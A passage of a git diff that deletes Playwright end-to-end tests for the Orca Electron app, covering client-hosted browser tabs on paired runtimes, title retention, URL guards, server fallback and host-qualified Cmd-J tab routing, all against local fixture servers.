opened.remotePageId), { - timeout: 60_000, - message: 'the runtime never learned where the guest navigated' - }) - .toBe(fixture.movedUrl) - - const runtimeIdBeforeRestart = await refreshAuthorityRuntimeId(client) - expect(runtimeIdBeforeRestart, 'client must know the runtime it is paired with').not.toBeNull() - const hostPidBeforeRestart = host.app.process().pid - - await host.restartServeProcess() - expect(host.app.process().pid, 'the serve process must actually be replaced').not.toBe( - hostPidBeforeRestart - ) - await waitForRelaunchedRuntime(client, runtimeIdBeforeRestart!) - // The relaunched serve process starts from its user-data dir, so the repo is re-announced. - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }).catch(() => undefined) - const restartedWorktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, restartedWorktreeId) - - await expect - .poll(() => readHostBrowserPageIds(host.client, testRepoPath), { - timeout: 180_000, - message: 'the relaunched runtime never took the client-hosted page back' - }) - .toContain(opened.remotePageId) - - let survivor: Awaited> = null - // Reconnection can replace the retained row between reads; wait for the whole contract. - await expect(async () => { - const rows = await readClientBrowserRows(client!.page, restartedWorktreeId) - const survivorRows = rows.filter((row) => row.url.startsWith(fixture.origin)) - expect(survivorRows, 'the tab must survive the restart exactly once').toHaveLength(1) - - survivor = await findMirroredBrowserPage(client!.page, restartedWorktreeId, fixture.origin) - expect( - survivor?.remotePageId, - 'recovery must keep the page identity it was created with' - ).toBe(opened.remotePageId) - expect(survivor?.placementKind, 'the surviving tab must still be client-hosted').toBe( - 'client' - ) - }).toPass({ timeout: 180_000 }) - - await focusClientBrowserRow(client.page, restartedWorktreeId, survivor!.localPageId) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.movedUrl, remotePageId: survivor!.remotePageId }, - 'the surviving tab never rendered its guest again' - ), - 'the tab must come back where the user left it, not on its create URL' - ).toBe('moved-on') - const renderedRows = await readClientBrowserRows(client.page, restartedWorktreeId) - expect( - renderedRows.filter((row) => row.url.startsWith(fixture.origin)), - 'rendering the recovered guest must leave exactly one surviving tab' - ).toHaveLength(1) - } finally { - if (client) { - await cleanupE2EDaemons(client.userDataDir).catch(() => undefined) - await client.dispose() - } - await host.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-title-hold.spec.ts b/tests/e2e/paired-client-hosted-browser-title-hold.spec.ts deleted file mode 100644 index 2ab30711b02..00000000000 --- a/tests/e2e/paired-client-hosted-browser-title-hold.spec.ts +++ /dev/null @@ -1,318 +0,0 @@ -import { createServer } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -type Fixture = { close(): Promise; first: string; second: string } - -type MetadataPublishFaultWindow = Window & { - __browserClientPageMetadataPublishFault?: { - suppress: () => void - resume: () => void - snapshot: () => { suppressed: boolean } - } -} - -async function startFixture(): Promise { - const server = createServer((request, response) => { - const url = new URL(request.url ?? '/', 'http://127.0.0.1') - const title = url.pathname === '/two' ? 'Fixture Maps Two' : 'Fixture Maps One' - response.writeHead(200, { 'cache-control': 'no-store', 'content-type': 'text/html' }) - response.end(`${title} -

${title}

`) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const origin = `http://127.0.0.1:${(server.address() as AddressInfo).port}` - return { - close: () => - new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }), - first: `${origin}/one`, - second: `${origin}/two` - } -} - -async function findWorktreeId(page: Page, repoPath: string): Promise { - await expect - .poll( - () => - page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ), - { timeout: 60_000 } - ) - .not.toBeNull() - return (await page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - )) as string -} - -async function mirroredPage( - page: Page, - worktreeId: string, - url: string -): Promise<{ - localPageId: string - placementHostId: string | null - placementKind: string | null - remotePageId: string | null - title: string -} | null> { - return page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (!browserPage.url.startsWith(url)) { - continue - } - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - const placement = handle?.placement - return { - localPageId: browserPage.id, - placementHostId: - placement && placement.kind === 'client' ? placement.browserHostClientId : null, - placementKind: placement?.kind ?? null, - remotePageId: handle?.remotePageId ?? null, - title: browserPage.title - } - } - } - return null - }, - { url, worktreeId } - ) -} - -// Read the host’s real session-tab projection used by list/subscribe; return null only once the row is gone. -async function hostPublishedBrowserTitle( - client: PairedElectronClient, - worktreeId: string, - remotePageId: string -): Promise { - const snapshot = await client.page.evaluate( - async ({ environmentId, worktreeId }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'session.tabs.list', - params: { worktree: `id:${worktreeId}` } - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result as { tabs: { browserPageId?: string; title?: string }[] } - }, - { environmentId: client.environmentId, worktreeId } - ) - return snapshot.tabs.find((tab) => tab.browserPageId === remotePageId)?.title ?? null -} - -/** Resolves once this client's guest for `prefix` is attached and reachable. */ -async function waitForClientGuest(page: Page, prefix: string, message: string): Promise { - await expect - .poll( - () => - page.evaluate((prefix) => { - for (const candidate of document.querySelectorAll('webview')) { - const webview = candidate as Electron.WebviewTag - try { - if (webview.getURL().startsWith(prefix)) { - return true - } - } catch { - // still attaching - } - } - return false - }, prefix), - { timeout: 60_000, message } - ) - .toBe(true) -} - -async function run(args: { - offer: RuntimeDesktopPairingOffer - repoPath: string - testInfo: TestInfo -}): Promise { - const fixture = await startFixture() - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient(args.offer, args.testInfo, 'STA-4150 identity probe') - const page = client.page - const worktreeId = await findWorktreeId(page, args.repoPath) - await page.evaluate( - ({ environmentId, worktreeId }) => - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`), - { environmentId: client.environmentId, worktreeId } - ) - - await page.evaluate(async (url) => { - const state = window.__store?.getState() - const groupId = state?.activeGroupIdByWorktree[state.activeWorktreeId ?? ''] - state?.setBrowserDefaultUrl(url) - await state?.openNewBrowserTabInActiveWorkspace(groupId as string) - }, fixture.first) - - await expect - .poll(() => mirroredPage(page, worktreeId, fixture.first), { timeout: 60_000 }) - .not.toBeNull() - const mirrored = await mirroredPage(page, worktreeId, fixture.first) - expect(mirrored?.placementKind).toBe('client') - - // Require matching guest identity so a title hold cannot pass merely because no snapshot arrived. - const rendererHostId = await page.evaluate( - () => window.api.browser.readClientHostId?.() ?? null - ) - expect(rendererHostId).not.toBeNull() - expect(rendererHostId).toBe(mirrored?.placementHostId) - - const pageId = mirrored?.localPageId as string - await page.evaluate( - ({ pageId, worktreeId }) => - window.__store - ?.getState() - .focusBrowserTabInWorktree(worktreeId, pageId, { surfacePane: true }), - { pageId, worktreeId } - ) - - // Navigate only the guest, then sample titles through tab/worktree switches. - await waitForClientGuest(page, fixture.first, 'client-hosted guest never attached') - - // After guest attachment, assert that metadata publication is suppressed to hold the real host/guest disagreement window open. - expect( - await page.evaluate(() => { - const fault = (window as MetadataPublishFaultWindow).__browserClientPageMetadataPublishFault - fault?.suppress() - return fault?.snapshot() ?? null - }) - ).toEqual({ suppressed: true }) - await page.evaluate( - async ({ prefix, url }) => { - for (const candidate of document.querySelectorAll('webview')) { - const webview = candidate as Electron.WebviewTag - if (webview.getURL().startsWith(prefix)) { - await webview.loadURL(url) - return - } - } - throw new Error('no client-hosted guest to navigate') - }, - { prefix: fixture.first, url: fixture.second } - ) - await expect - .poll(async () => (await mirroredPage(page, worktreeId, fixture.second))?.title ?? null, { - timeout: 60_000, - message: 'guest never reported the second fixture title' - }) - .toBe('Fixture Maps Two') - - // Read the stale title from the host itself, which never saw the local navigation. - const remotePageId = (await mirroredPage(page, worktreeId, fixture.second)) - ?.remotePageId as string - expect(remotePageId).toBeTruthy() - const hostTitle = await hostPublishedBrowserTitle(client, worktreeId, remotePageId) - expect(hostTitle).toBeTruthy() - expect(hostTitle).not.toBe('Fixture Maps Two') - - await page.evaluate((pageId) => { - const observed: string[] = [] - ;(window as unknown as { __titles: string[] }).__titles = observed - window.__store?.subscribe((state) => { - for (const pages of Object.values(state.browserPagesByWorkspace)) { - for (const browserPage of pages) { - if (browserPage.id === pageId) { - observed.push(browserPage.title) - } - } - } - }) - }, pageId) - - // Create tabs to force fresh whole-worktree snapshots inside the sampling window. - let republishes = 0 - for (let round = 0; round < 3; round += 1) { - const roundUrl = `${fixture.first}?round=${round}` - await page.evaluate( - async ({ url }) => { - const state = window.__store?.getState() - const groupId = state?.activeGroupIdByWorktree[state.activeWorktreeId ?? ''] - state?.setBrowserDefaultUrl(url) - await state?.openNewBrowserTabInActiveWorkspace(groupId as string) - }, - { url: roundUrl } - ) - // A new row’s placement proves the host snapshot carrying all rows actually reached this client. - await expect - .poll(async () => (await mirroredPage(page, worktreeId, roundUrl))?.placementKind ?? null, { - timeout: 60_000, - message: `round ${round}: no host snapshot reached the client` - }) - .toBe('client') - expect( - await hostPublishedBrowserTitle(client, worktreeId, remotePageId), - `round ${round}: the host stopped publishing the watched row` - ).toBe(hostTitle) - republishes += 1 - await page.evaluate( - ({ pageId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - state?.focusBrowserTabInWorktree(worktreeId, pageId, { surfacePane: true }) - }, - { pageId, worktreeId } - ) - await waitForClientGuest(page, fixture.second, `round ${round}: guest never came back`) - } - - const titles = (await page.evaluate( - () => (window as unknown as { __titles: string[] }).__titles - )) as string[] - // Count only rounds that proved a republish and stale host title; otherwise title retention would be an empty pass. - expect(republishes).toBeGreaterThan(0) - expect(titles).not.toContain(hostTitle) - // Check Browser literally too: host title || url || Browser can otherwise silently replace the guarded fallback. - expect(titles).not.toContain('Browser') - expect((await mirroredPage(page, worktreeId, fixture.second))?.title).toBe('Fixture Maps Two') - } finally { - await client?.dispose() - await fixture.close() - } -} - -test('holds the guest title through host republishes of a client-hosted page', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - await run({ offer, repoPath: testRepoPath, testInfo }) -}) diff --git a/tests/e2e/paired-client-hosted-browser.spec.ts b/tests/e2e/paired-client-hosted-browser.spec.ts deleted file mode 100644 index 0a97b2bbe3b..00000000000 --- a/tests/e2e/paired-client-hosted-browser.spec.ts +++ /dev/null @@ -1,413 +0,0 @@ -import { createServer, type Server } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -type BrowserFixture = { - close(): Promise - clientUrl: string - serverUrl: string -} - -type MirroredBrowserPage = { - localPageId: string - placementKind: 'client' | 'server' | null - remotePageId: string - workspaceId: string -} - -async function startBrowserFixture(): Promise { - const server = createServer((request, response) => { - const url = new URL(request.url ?? '/', 'http://127.0.0.1') - const marker = url.pathname === '/server' ? 'server-hosted-marker' : 'client-hosted-marker' - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8' - }) - response.end(`${marker} -

${marker}

- next - `) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const origin = `http://127.0.0.1:${(server.address() as AddressInfo).port}` - return { - close: () => closeServer(server), - clientUrl: `${origin}/client`, - serverUrl: `${origin}/server` - } -} - -async function closeServer(server: Server): Promise { - await new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }) -} - -async function findPairedWorktreeId(page: Page, repoPath: string): Promise { - const worktreeId = await expect - .poll( - () => - page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ), - { timeout: 60_000, message: 'paired client never received the host worktree' } - ) - .not.toBeNull() - .then(() => - page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ) - ) - if (!worktreeId) { - throw new Error('Paired worktree disappeared after discovery') - } - return worktreeId -} - -async function selectPairedWorktree( - page: Page, - environmentId: string, - worktreeId: string -): Promise { - await page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId, worktreeId } - ) -} - -async function createProductBrowserPage(page: Page, url: string): Promise { - await page.evaluate(async (url) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Paired client has no active worktree') - } - const groupId = state.activeGroupIdByWorktree[state.activeWorktreeId] - if (!groupId) { - throw new Error('Paired client has no active tab group') - } - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, url) -} - -async function findMirroredBrowserPage( - page: Page, - worktreeId: string, - url: string -): Promise { - return page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (!browserPage.url.startsWith(url)) { - continue - } - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - localPageId: browserPage.id, - placementKind: handle?.placement?.kind ?? null, - remotePageId: handle?.remotePageId ?? browserPage.id, - workspaceId: workspace.id - } - } - } - return null - }, - { url, worktreeId } - ) -} - -async function waitForMirroredBrowserPage( - page: Page, - worktreeId: string, - url: string -): Promise { - let mirrored: MirroredBrowserPage | null = null - await expect - .poll( - async () => { - mirrored = await findMirroredBrowserPage(page, worktreeId, url) - return mirrored - }, - { - timeout: 20_000, - message: `paired client never materialized ${url}` - } - ) - .not.toBeNull() - if (!mirrored) { - throw new Error(`Mirrored browser page disappeared for ${url}`) - } - return mirrored -} - -async function focusMirroredBrowserPage( - page: Page, - worktreeId: string, - browserPageId: string -): Promise { - await page.evaluate( - ({ browserPageId, worktreeId }) => { - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, browserPageId, { - surfacePane: true - }) - }, - { browserPageId, worktreeId } - ) -} - -async function readOwnedPageUrls(app: ElectronApplication, url: string): Promise { - return app.evaluate( - ({ webContents }, prefix) => - webContents - .getAllWebContents() - .map((contents) => contents.getURL()) - .filter((candidate) => candidate.startsWith(prefix)), - url - ) -} - -async function readClientWebviewMarker(page: Page, url: string): Promise { - return page.evaluate(async (prefix) => { - for (const candidate of document.querySelectorAll('webview')) { - const webview = candidate as Electron.WebviewTag - try { - if (webview.getURL().startsWith(prefix)) { - return (await webview.executeJavaScript( - 'document.querySelector("#marker")?.textContent ?? null' - )) as string | null - } - } catch { - // The guest may still be attaching. - } - } - return null - }, url) -} - -async function callBrowserSnapshot( - page: Page, - environmentId: string, - worktreeId: string, - browserPageId: string -): Promise { - return page.evaluate( - async ({ browserPageId, environmentId, worktreeId }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.snapshot', - params: { page: browserPageId, worktree: `id:${worktreeId}` }, - timeoutMs: 15_000 - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return (response.result as { snapshot: string }).snapshot - }, - { browserPageId, environmentId, worktreeId } - ) -} - -// Every hop between the runtime and the page's host must keep the URL guard and its diagnostics. -async function expectUrlGuardHolds( - page: Page, - environmentId: string, - worktreeId: string, - browserPageId: string, - { pageUrl, otherUrl }: { pageUrl: string; otherUrl: string } -): Promise { - const focusExpecting = (expectUrl: string): Promise => - page.evaluate( - ({ browserPageId, environmentId, expectUrl, worktreeId }) => - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.focus', - params: { - element: '#marker', - expectUrl, - page: browserPageId, - worktree: `id:${worktreeId}` - }, - timeoutMs: 15_000 - }), - { browserPageId, environmentId, expectUrl, worktreeId } - ) - expect(await focusExpecting(otherUrl)).toMatchObject({ - ok: false, - error: { - code: 'browser_expected_url_mismatch', - data: { - expectedUrl: otherUrl, - actualUrl: pageUrl, - browserPageId, - mayHaveStarted: false - } - } - }) - expect(await focusExpecting(pageUrl)).toMatchObject({ - ok: true, - result: { browserPageId, checkedUrl: pageUrl } - }) -} - -async function runClientHostedBrowserJourney(args: { - hostApp: ElectronApplication - offer: RuntimeDesktopPairingOffer - repoPath: string - testInfo: TestInfo - topology: 'headed' | 'headless' -}): Promise { - const fixture = await startBrowserFixture() - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient( - args.offer, - args.testInfo, - `STA-4150 ${args.topology} client-hosted browser` - ) - const worktreeId = await findPairedWorktreeId(client.page, args.repoPath) - await selectPairedWorktree(client.page, client.environmentId, worktreeId) - - await createProductBrowserPage(client.page, fixture.clientUrl) - const clientHostedPage = await waitForMirroredBrowserPage( - client.page, - worktreeId, - fixture.clientUrl - ) - expect(clientHostedPage.placementKind).toBe('client') - await focusMirroredBrowserPage(client.page, worktreeId, clientHostedPage.localPageId) - - await expect - .poll(() => readClientWebviewMarker(client!.page, fixture.clientUrl), { - timeout: 60_000, - message: 'client-hosted Electron guest never rendered the fixture' - }) - .toBe('client-hosted-marker') - expect(await readOwnedPageUrls(client.app, fixture.clientUrl)).toHaveLength(1) - expect(await readOwnedPageUrls(args.hostApp, fixture.clientUrl)).toHaveLength(0) - await expect(client.page.getByTestId('remote-browser-frame')).toHaveCount(0) - expect( - await callBrowserSnapshot( - client.page, - client.environmentId, - worktreeId, - clientHostedPage.remotePageId - ) - ).toContain('client-hosted-marker') - await expectUrlGuardHolds( - client.page, - client.environmentId, - worktreeId, - clientHostedPage.remotePageId, - { pageUrl: fixture.clientUrl, otherUrl: fixture.serverUrl } - ) - - await client.page.evaluate(async () => { - await window.__store?.getState().updateSettings({ - browserClientHostedRemoteEnabled: false - }) - }) - expect(await readOwnedPageUrls(client.app, fixture.clientUrl)).toHaveLength(1) - - await createProductBrowserPage(client.page, fixture.serverUrl) - const serverHostedPage = await waitForMirroredBrowserPage( - client.page, - worktreeId, - fixture.serverUrl - ) - expect(serverHostedPage.placementKind).not.toBe('client') - await focusMirroredBrowserPage(client.page, worktreeId, serverHostedPage.localPageId) - await expect(client.page.getByTestId('remote-browser-frame').first()).toBeVisible({ - timeout: 60_000 - }) - await expect - .poll(() => readOwnedPageUrls(args.hostApp, fixture.serverUrl), { - timeout: 60_000, - message: 'server-hosted fallback never loaded on the paired runtime' - }) - .toHaveLength(1) - expect(await readOwnedPageUrls(client.app, fixture.serverUrl)).toHaveLength(0) - expect(await readOwnedPageUrls(client.app, fixture.clientUrl)).toHaveLength(1) - await expectUrlGuardHolds( - client.page, - client.environmentId, - worktreeId, - serverHostedPage.remotePageId, - { pageUrl: fixture.serverUrl, otherUrl: fixture.clientUrl } - ) - } finally { - await client?.dispose() - await fixture.close() - } -} - -test('hosts a paired browser on the viewing desktop and keeps the kill switch new-page-only', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - await runClientHostedBrowserJourney({ - hostApp: electronApp, - offer, - repoPath: testRepoPath, - testInfo, - topology: 'headed' - }) -}) - -test('hosts a paired browser from a headless server and preserves server fallback', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost() - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - await host.client.call('terminal.create', { - worktree: `path:${testRepoPath}`, - title: 'Client-hosted browser canary' - }) - await runClientHostedBrowserJourney({ - hostApp: host.app, - offer: host.offer, - repoPath: testRepoPath, - testInfo, - topology: 'headless' - }) - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts b/tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts deleted file mode 100644 index 81dfd95bd42..00000000000 --- a/tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts +++ /dev/null @@ -1,550 +0,0 @@ -import { errors } from '@stablyai/playwright-test' -import { encodePaletteIdentity } from '../../src/shared/palette-match/palette-ranking' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - waitForActiveWorktree, - waitForSessionReady, - waitForStartupWorktreeRefresh -} from './helpers/store' - -test('routes same-id browser and simulator Cmd-J rows to their owning paired host', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(240_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const hostBrowser = await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('Host has no active worktree for the paired Cmd-J fixture') - } - const workspace = state.createBrowserTab( - worktreeId, - 'data:text/html,Remote browser proof', - { activate: false, title: 'Remote browser proof' } - ) - return { worktreeId, workspaceId: workspace.id } - }) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient(offer, testInfo, 'Cmd-J host-qualified tabs') - const page = client.page - await page.evaluate(() => { - window.localStorage.setItem('orca.browser.markup-draw-hint-seen', 'true') - }) - const drawHintDismiss = page.getByRole('button', { name: 'Got it', exact: true }) - const drawHintVisible = await drawHintDismiss - .waitFor({ state: 'visible', timeout: 2_000 }) - .then(() => true) - .catch((error: unknown) => { - if (error instanceof errors.TimeoutError) { - return false - } - throw error - }) - if (drawHintVisible) { - await drawHintDismiss.click() - } - const remoteHostId = `runtime:${encodeURIComponent(client.environmentId)}` as const - await expect - .poll( - () => - page.evaluate( - ({ worktreeId, workspaceId }) => { - const state = window.__store?.getState() - const tab = (state?.unifiedTabsByWorktree[worktreeId] ?? []).find( - (candidate) => - candidate.contentType === 'browser' && candidate.entityId === workspaceId - ) - return tab?.executionHostId ?? null - }, - { worktreeId: hostBrowser.worktreeId, workspaceId: hostBrowser.workspaceId } - ), - { timeout: 60_000, message: 'paired client never mirrored the host browser tab' } - ) - .toBe(remoteHostId) - // Why: hydration's deferred all-host scan rewrites worktreesByRepo; seeding ahead of it is silently reaped. - await waitForStartupWorktreeRefresh(page) - // Why: empties the mirror's reachable-target set, so the session.tabs subscription tears down before seeding. - await page.evaluate(() => { - window.__store!.setState({ - runtimeEnvironments: [], - runtimeStatusByEnvironmentId: new Map() - }) - }) - await page.evaluate( - () => - new Promise((resolve) => - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - ) - ) - const seeded = await page.evaluate( - ({ remoteHostId, sharedWorktreeId, hostWorkspaceId }) => { - const store = window.__store - if (!store) { - throw new Error('Paired client store is unavailable') - } - const state = store.getState() - const seed = state - .allWorktrees() - .find((worktree) => worktree.id === sharedWorktreeId && worktree.hostId === remoteHostId) - const seedRepo = state.repos.find( - (repo) => repo.id === seed?.repoId && repo.executionHostId === remoteHostId - ) - const remoteBrowser = (state.browserTabsByWorktree[sharedWorktreeId] ?? []).find( - (workspace) => workspace.id === hostWorkspaceId - ) - const remotePage = remoteBrowser - ? (state.browserPagesByWorkspace[remoteBrowser.id] ?? [])[0] - : null - const remoteUnifiedTab = (state.unifiedTabsByWorktree[sharedWorktreeId] ?? []).find( - (tab) => tab.contentType === 'browser' && tab.entityId === remoteBrowser?.id - ) - const remoteGroup = (state.groupsByWorktree[sharedWorktreeId] ?? []).find( - (group) => group.id === remoteUnifiedTab?.groupId - ) - if ( - !seed || - !seedRepo || - !remoteBrowser || - !remotePage || - !remoteUnifiedTab || - !remoteGroup - ) { - throw new Error('Paired client did not retain the mirrored host browser topology') - } - // Render the remote group before nesting the client’s own layout inside its local pane. - const renderedGroupIds = new Set() - const pendingLayoutNodes = [state.layoutByWorktree[sharedWorktreeId]] - while (pendingLayoutNodes.length > 0) { - const node = pendingLayoutNodes.pop() - if (!node) { - continue - } - if (node.type === 'leaf') { - renderedGroupIds.add(node.groupId) - continue - } - pendingLayoutNodes.push(node.first, node.second) - } - if (renderedGroupIds.size > 0 && !renderedGroupIds.has(remoteGroup.id)) { - throw new Error('Paired client layout does not render the mirrored host browser group') - } - const local = { - ...seed, - hostId: 'local' as const, - runtimeOwnerEnvironmentId: undefined, - displayName: 'Local collision workspace' - } - const remote = { - ...seed, - hostId: remoteHostId, - displayName: 'Remote collision workspace' - } - const localBrowser = { - id: 'browser-local', - worktreeId: sharedWorktreeId, - activePageId: 'page-local', - pageIds: ['page-local'], - url: 'https://local.example.test', - title: 'Local browser proof', - loading: false, - faviconUrl: null, - canGoBack: false, - canGoForward: false, - loadError: null, - createdAt: 1 - } - const seededRemoteBrowser = { - ...remoteBrowser, - title: 'Remote browser proof' - } - const tab = ( - id: string, - entityId: string, - groupId: string, - executionHostId: 'local' | `runtime:${string}`, - contentType: 'browser' | 'simulator', - label: string - ) => ({ - id, - entityId, - groupId, - worktreeId: sharedWorktreeId, - executionHostId, - contentType, - label, - customLabel: null, - color: null, - sortOrder: 0, - createdAt: 1 - }) - // Keep live ids in tabOrder so session snapshots re-land known tabs instead of adopting them into a new group. - const retainedMirroredTabs = (state.unifiedTabsByWorktree[sharedWorktreeId] ?? []).map( - (candidate) => - candidate.id === remoteUnifiedTab.id - ? { ...candidate, executionHostId: remoteHostId } - : candidate - ) - const tabs = [ - tab('browser-tab-local', 'browser-local', 'group-local', 'local', 'browser', 'Local'), - tab( - 'simulator-local', - 'simulator-local', - 'group-local', - 'local', - 'simulator', - 'Local emulator proof' - ), - tab( - 'simulator-remote', - 'simulator-remote', - remoteGroup.id, - remoteHostId, - 'simulator', - 'Remote emulator proof' - ), - ...retainedMirroredTabs - ] - store.setState({ - worktreesByRepo: { ...state.worktreesByRepo, [seed.repoId]: [local, remote] }, - activeRepoId: seed.repoId, - activeWorktreeId: sharedWorktreeId, - activeWorkspaceExecutionHostId: 'local', - browserTabsByWorktree: { - ...state.browserTabsByWorktree, - [sharedWorktreeId]: [localBrowser, seededRemoteBrowser] - }, - browserPagesByWorkspace: { - ...state.browserPagesByWorkspace, - [remoteBrowser.id]: [ - { ...remotePage, url: 'data:text/html,', title: 'Remote browser proof' } - ], - 'browser-local': [ - { - id: 'page-local', - workspaceId: 'browser-local', - worktreeId: sharedWorktreeId, - url: localBrowser.url, - title: localBrowser.title, - loading: false, - faviconUrl: null, - canGoBack: false, - canGoForward: false, - loadError: null, - createdAt: 1 - } - ] - }, - unifiedTabsByWorktree: { ...state.unifiedTabsByWorktree, [sharedWorktreeId]: tabs }, - groupsByWorktree: { - ...state.groupsByWorktree, - [sharedWorktreeId]: [ - { - id: 'group-local', - worktreeId: sharedWorktreeId, - activeTabId: 'browser-tab-local', - tabOrder: ['browser-tab-local', 'simulator-local'] - }, - ...(state.groupsByWorktree[sharedWorktreeId] ?? []).map((group) => - group.id === remoteGroup.id - ? { - ...group, - activeTabId: remoteUnifiedTab.id, - tabOrder: [...group.tabOrder, 'simulator-remote'] - } - : group - ) - ] - }, - activeGroupIdByWorktree: { - ...state.activeGroupIdByWorktree, - [sharedWorktreeId]: 'group-local' - }, - layoutByWorktree: { - ...state.layoutByWorktree, - [sharedWorktreeId]: { - type: 'split', - direction: 'horizontal', - first: { type: 'leaf', groupId: 'group-local' }, - // Why: wrap the client's own layout so a host-side split keeps rendering its panes. - second: state.layoutByWorktree[sharedWorktreeId] ?? { - type: 'leaf', - groupId: remoteGroup.id - }, - ratio: 0.5 - } - }, - activeBrowserTabId: 'browser-local', - activeBrowserTabIdByWorktree: { - ...state.activeBrowserTabIdByWorktree, - [sharedWorktreeId]: 'browser-local' - }, - activeTabType: 'browser', - activeTabTypeByWorktree: { - ...state.activeTabTypeByWorktree, - [sharedWorktreeId]: 'browser' - } - }) - return { - remoteGroupId: remoteGroup.id, - remotePageId: remotePage.id, - remoteTabId: remoteUnifiedTab.id, - remoteWorkspaceId: remoteBrowser.id, - sharedWorktreeId - } - }, - { - hostWorkspaceId: hostBrowser.workspaceId, - remoteHostId, - sharedWorktreeId: hostBrowser.worktreeId - } - ) - - const backing = await page.evaluate( - ({ tabIds, worktreeId }) => { - const state = window.__store!.getState() - return { - browserCount: state.browserTabsByWorktree[worktreeId]?.length, - owners: state.unifiedTabsByWorktree[worktreeId] - ?.filter((tab) => tabIds.includes(tab.id)) - .map((tab) => [tab.id, tab.executionHostId, tab.worktreeId]), - workspaceOwners: state.browserTabsByWorktree[worktreeId]?.map((workspace) => [ - workspace.id, - workspace.worktreeId - ]) - } - }, - { - tabIds: ['browser-tab-local', seeded.remoteTabId, 'simulator-local', 'simulator-remote'], - worktreeId: seeded.sharedWorktreeId - } - ) - expect(backing).toEqual({ - browserCount: 2, - owners: [ - 